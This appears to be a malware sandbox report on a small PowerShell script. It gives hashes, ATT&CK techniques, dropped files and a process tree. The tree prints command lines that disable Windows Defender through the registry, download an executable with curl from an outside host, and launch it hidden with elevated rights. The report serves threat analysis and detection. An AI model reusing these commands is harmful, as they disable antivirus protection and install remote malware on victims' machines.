442592bf21d3cc9e3d4fbdf015dab52f243942cd794d58313a1a72e2ba14c6b1

Analysis

max time kernel
150s
max time network
145s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/11/2026, 11:40

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Новый текстовый документ (12).ps1
Size 115B
Sample261107-ns3lfaxt7n
SHA256 442592bf21d3cc9e3d4fbdf015dab52f243942cd794d58313a1a72e2ba14c6b1
MD5 4ca0849d625d08fe39119744439e9ef0
SHA1 e43a75395b8f9db8109b0060baf5103d7933c791
SHA512 23f49b59bd138d17bf9410b9a1a1bca8d09cb602709510fe371cebbdd5505ce94d3a3b8c9fcf9574a02c73fb1ddfb0924a59c7b1864425780ca95d71891c1fa3
TLSH
T1D0B01241BFE5CB080A44E16659086488A2350FBE2A242CF453C3EA588DD51E1906B76C
MD5 SHA1 SHA512 TLSH

Score

10^/10

evasion execution trojan

Malware Config

Signatures

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	PowerShell.exe

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	5828	PowerShell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5828	PowerShell.exe
1956	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
11	5380	curl.exe

Executes dropped EXE 1 IoCs

pid	Process
1928	khFzHU.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4952	cmd.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings	PowerShell.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
5828	PowerShell.exe
5828	PowerShell.exe
5828	PowerShell.exe
5828	PowerShell.exe
5828	PowerShell.exe
5828	PowerShell.exe
1956	powershell.exe
1956	powershell.exe
1956	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5828	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	5828	PowerShell.exe
Token: SeSecurityPrivilege	5828	PowerShell.exe
Token: SeTakeOwnershipPrivilege	5828	PowerShell.exe
Token: SeLoadDriverPrivilege	5828	PowerShell.exe
Token: SeSystemProfilePrivilege	5828	PowerShell.exe
Token: SeSystemtimePrivilege	5828	PowerShell.exe
Token: SeProfSingleProcessPrivilege	5828	PowerShell.exe
Token: SeIncBasePriorityPrivilege	5828	PowerShell.exe
Token: SeCreatePagefilePrivilege	5828	PowerShell.exe
Token: SeBackupPrivilege	5828	PowerShell.exe
Token: SeRestorePrivilege	5828	PowerShell.exe
Token: SeShutdownPrivilege	5828	PowerShell.exe
Token: SeDebugPrivilege	5828	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	5828	PowerShell.exe
Token: SeRemoteShutdownPrivilege	5828	PowerShell.exe
Token: SeUndockPrivilege	5828	PowerShell.exe
Token: SeManageVolumePrivilege	5828	PowerShell.exe
Token: 33	5828	PowerShell.exe
Token: 34	5828	PowerShell.exe
Token: 35	5828	PowerShell.exe
Token: 36	5828	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	5828	PowerShell.exe
Token: SeSecurityPrivilege	5828	PowerShell.exe
Token: SeTakeOwnershipPrivilege	5828	PowerShell.exe
Token: SeLoadDriverPrivilege	5828	PowerShell.exe
Token: SeSystemProfilePrivilege	5828	PowerShell.exe
Token: SeSystemtimePrivilege	5828	PowerShell.exe
Token: SeProfSingleProcessPrivilege	5828	PowerShell.exe
Token: SeIncBasePriorityPrivilege	5828	PowerShell.exe
Token: SeCreatePagefilePrivilege	5828	PowerShell.exe
Token: SeBackupPrivilege	5828	PowerShell.exe
Token: SeRestorePrivilege	5828	PowerShell.exe
Token: SeShutdownPrivilege	5828	PowerShell.exe
Token: SeDebugPrivilege	5828	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	5828	PowerShell.exe
Token: SeRemoteShutdownPrivilege	5828	PowerShell.exe
Token: SeUndockPrivilege	5828	PowerShell.exe
Token: SeManageVolumePrivilege	5828	PowerShell.exe
Token: 33	5828	PowerShell.exe
Token: 34	5828	PowerShell.exe
Token: 35	5828	PowerShell.exe
Token: 36	5828	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	5828	PowerShell.exe
Token: SeSecurityPrivilege	5828	PowerShell.exe
Token: SeTakeOwnershipPrivilege	5828	PowerShell.exe
Token: SeLoadDriverPrivilege	5828	PowerShell.exe
Token: SeSystemProfilePrivilege	5828	PowerShell.exe
Token: SeSystemtimePrivilege	5828	PowerShell.exe
Token: SeProfSingleProcessPrivilege	5828	PowerShell.exe
Token: SeIncBasePriorityPrivilege	5828	PowerShell.exe
Token: SeCreatePagefilePrivilege	5828	PowerShell.exe
Token: SeBackupPrivilege	5828	PowerShell.exe
Token: SeRestorePrivilege	5828	PowerShell.exe
Token: SeShutdownPrivilege	5828	PowerShell.exe
Token: SeDebugPrivilege	5828	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	5828	PowerShell.exe
Token: SeRemoteShutdownPrivilege	5828	PowerShell.exe
Token: SeUndockPrivilege	5828	PowerShell.exe
Token: SeManageVolumePrivilege	5828	PowerShell.exe
Token: 33	5828	PowerShell.exe
Token: 34	5828	PowerShell.exe
Token: 35	5828	PowerShell.exe
Token: 36	5828	PowerShell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 5828 wrote to memory of 4848	5828	PowerShell.exe	91
PID 5828 wrote to memory of 4952	5828	PowerShell.exe	92
PID 4952 wrote to memory of 5380	4952	cmd.exe	94
PID 4952 wrote to memory of 1956	4952	cmd.exe	95
PID 1956 wrote to memory of 1928	1956	powershell.exe	97

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	11	curl/8.8.0

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
powershell.exe -ExecutionPolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\Новый текстовый документ (12).ps1"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5828
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:4848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C "C:\Users\khFzHU.bat"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4952
- - C:\Windows\system32\curl.exe
    curl -L -s -o "C:\Users\Admin\AppData\Local\Temp\khFzHU.exe" "https://kappa.lol/khFzHU"
    3⤵
    - Downloads MZ/PE file
    PID:5380
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\khFzHU.exe' -Verb RunAs"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1956
  - - C:\Users\Admin\AppData\Local\Temp\khFzHU.exe
      "C:\Users\Admin\AppData\Local\Temp\khFzHU.exe"
      4⤵
      Executes dropped EXE
      PID:1928

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 786c882d393a8522322bccf4537c4697fac0f31d4bc6d2a70f95a013509afabc
MD5 a014f513d0094bb3d93e37058e63d91e
SHA1 a6f98e9f944c4682e4346fe338c1915aab363e7e
SHA512 e79c7942f379a7302f79237f00f0cb55b9ba3a2ce45485e267bb66bc64032b70febf1da93966a9e88681a4ee8ebdbcfdd7ce4eea97b6bedaacd4ac7e2e64583c
SSDEEP 1536:iKLgw7Yo2hk3MhfKQ1PflJdpHYLh4iUxpR40i71YigMJyPgOdB4V3CNBQkj2Ra5c:iKLgw7Yo2hk3MhfKQ1PflJd9YLqiUpRG
TLSH
T1FB637292E9204E75E1A66F3EF15622627C30394690F8013211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_eufy2j4n.ixw.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eufy2j4n.ixw.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

khFzHU.exe

Path C:\Users\Admin\AppData\Local\Temp\khFzHU.exe
Size 2.1MB
SHA256 ee6156518f9281f9550919064ac4e37ca84fb58c588501c5c7b349013ef39069
MD5 8532235d350629e30076d3df39187985
SHA1 fc4d994108246680541477bcd8ed9cf36ea6f4ff
SHA512 552799f317e49c769a0140c4c6e4647df19b9e6f7fb049ebe2b33813dacf9bc9ed17e1ce6a1a87a04e86e077271f1acccc1480be58d1f826ec867473cbc7bb8d
SSDEEP 24576:4cYjQpf6KVt3h5eqLy/wH2SuY2pGdlnvkTh56mkhOZNyBjW6VVQAX:4cYspf6ItR5dLy/wH2r4dakhOiBTVQA
TLSH
T1EBA56B0BBDA008F1E0EAA631897655553B71BC490F3223C72E90B6B82FB77E05D79725
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

minecraft_banner.jpg

Path C:\Users\Admin\AppData\Local\Temp\minecraft_banner.jpg
Size 296KB
SHA256 9ab1a37c507870de5ac6eb176d5bd4b7c3f19ad81ec5f1451ea99e954920bd2a
MD5 ff4171b090336ed38e8e54cd729993ca
SHA1 1f946fe4e3ad26501d24225f7a2f6e819762a469
SHA512 68fd56029dcdffdc2af2889ba5b9c3f925b5f31c98cdd3801a94110ca2321a10d9e1227e19a723387eaa655c83c15f28cdb190e50e21ae8be8016bd542a7da5c
SSDEEP 6144:WG8ZVJT/OcYdKOsvNS6r6AEs9iP39uiJLz232m7AKuHlAftbsih:h8fxWHKOjy7ELP39l5632m7ANHlARh
TLSH
T1405423037AB16105F6EE1E2572B28228A6672C6C920B14AC6D3D59F5FC5EFD30372F94
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

splash_icon.png

Path C:\Users\Admin\AppData\Local\Temp\splash_icon.png
Size 9KB
SHA256 8251d171244669d83d07a0bf7514c0107afea0f97e8bf2876dd1b3be7a547a6e
MD5 4ad6585c071dc76193b09e8ac7b3f09c
SHA1 ecd35cb879aaceec78cd795eb7c625b9f7c2fe99
SHA512 d660e73919d5bec00e9385a23a6e7a33ea3f8d42911c429179001b86aac7bbe586726a9a14a688d70e5d0181c2403583a098e4e4fc7d704404227ed3b9701ee2
SSDEEP 192:9Ilz0K6z001I0Is0SGnFfkuu4O2GAXVfVaoKC2uGOHwAH5kKO/8Dzh:SlYK6Msi8joNQe25AZnOUZ
TLSH
T1CE22BFF690BFE0B51D3BD0A4A562D212BAF440CF4C1AA43D8F0ADC0A94549BD14A8AE5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

khFzHU.bat

Path C:\Users\khFzHU.bat
Size 371B
SHA256 ee6818d0a999bc937a6a65930c462d0f092ade50c6b9e9082e01683f018f70c2
MD5 65f28c2fce71d97df5e9f4033563f26b
SHA1 f4cc041d226368657247c253a1ee41eb537f673f
SHA512 03bd287ccf5c71f6fa72810b38affeae7afedbd75310ef902065b334ab7e962caa80e1de3c533eaa0e221e9a785941a1399e206bab0d8f1cce1a5ca6449eb75c
TLSH
T1EAE068CF82353A2B1E774F8881822846DA4B4389EEE94ACB205DA41D3941243E38D185
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5828-10-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

Download

memory/5828-24-0x0000019CD8690000-0x0000019CD86AE000-memory.dmp

Download

memory/5828-0-0x00007FFD9FB5F000-0x00007FFD9FB60000-memory.dmp

Download

memory/5828-11-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

Download

memory/5828-12-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

Download

memory/5828-13-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

Download

memory/5828-14-0x0000019CD80C0000-0x0000019CD8282000-memory.dmp

Download

memory/5828-17-0x0000019CD7B40000-0x0000019CD7B5E000-memory.dmp

Download

memory/5828-18-0x0000019CD7FF0000-0x0000019CD80A2000-memory.dmp

Download

memory/5828-19-0x0000019CD7B60000-0x0000019CD7B6A000-memory.dmp

Download

memory/5828-8-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

Download

memory/5828-20-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

Download

memory/5828-21-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

Download

memory/5828-9-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

Download

memory/5828-25-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

Download

memory/5828-26-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

Download

memory/5828-27-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

Download

memory/5828-29-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

Download

memory/5828-30-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

Download

memory/5828-31-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

Download

memory/5828-7-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

Download

memory/5828-37-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

Download

memory/5828-39-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

Download

memory/5828-6-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

Download

memory/5828-5-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

Download

memory/5828-4-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

Download

memory/5828-3-0x0000019CD7AA0000-0x0000019CD7AC2000-memory.dmp

Download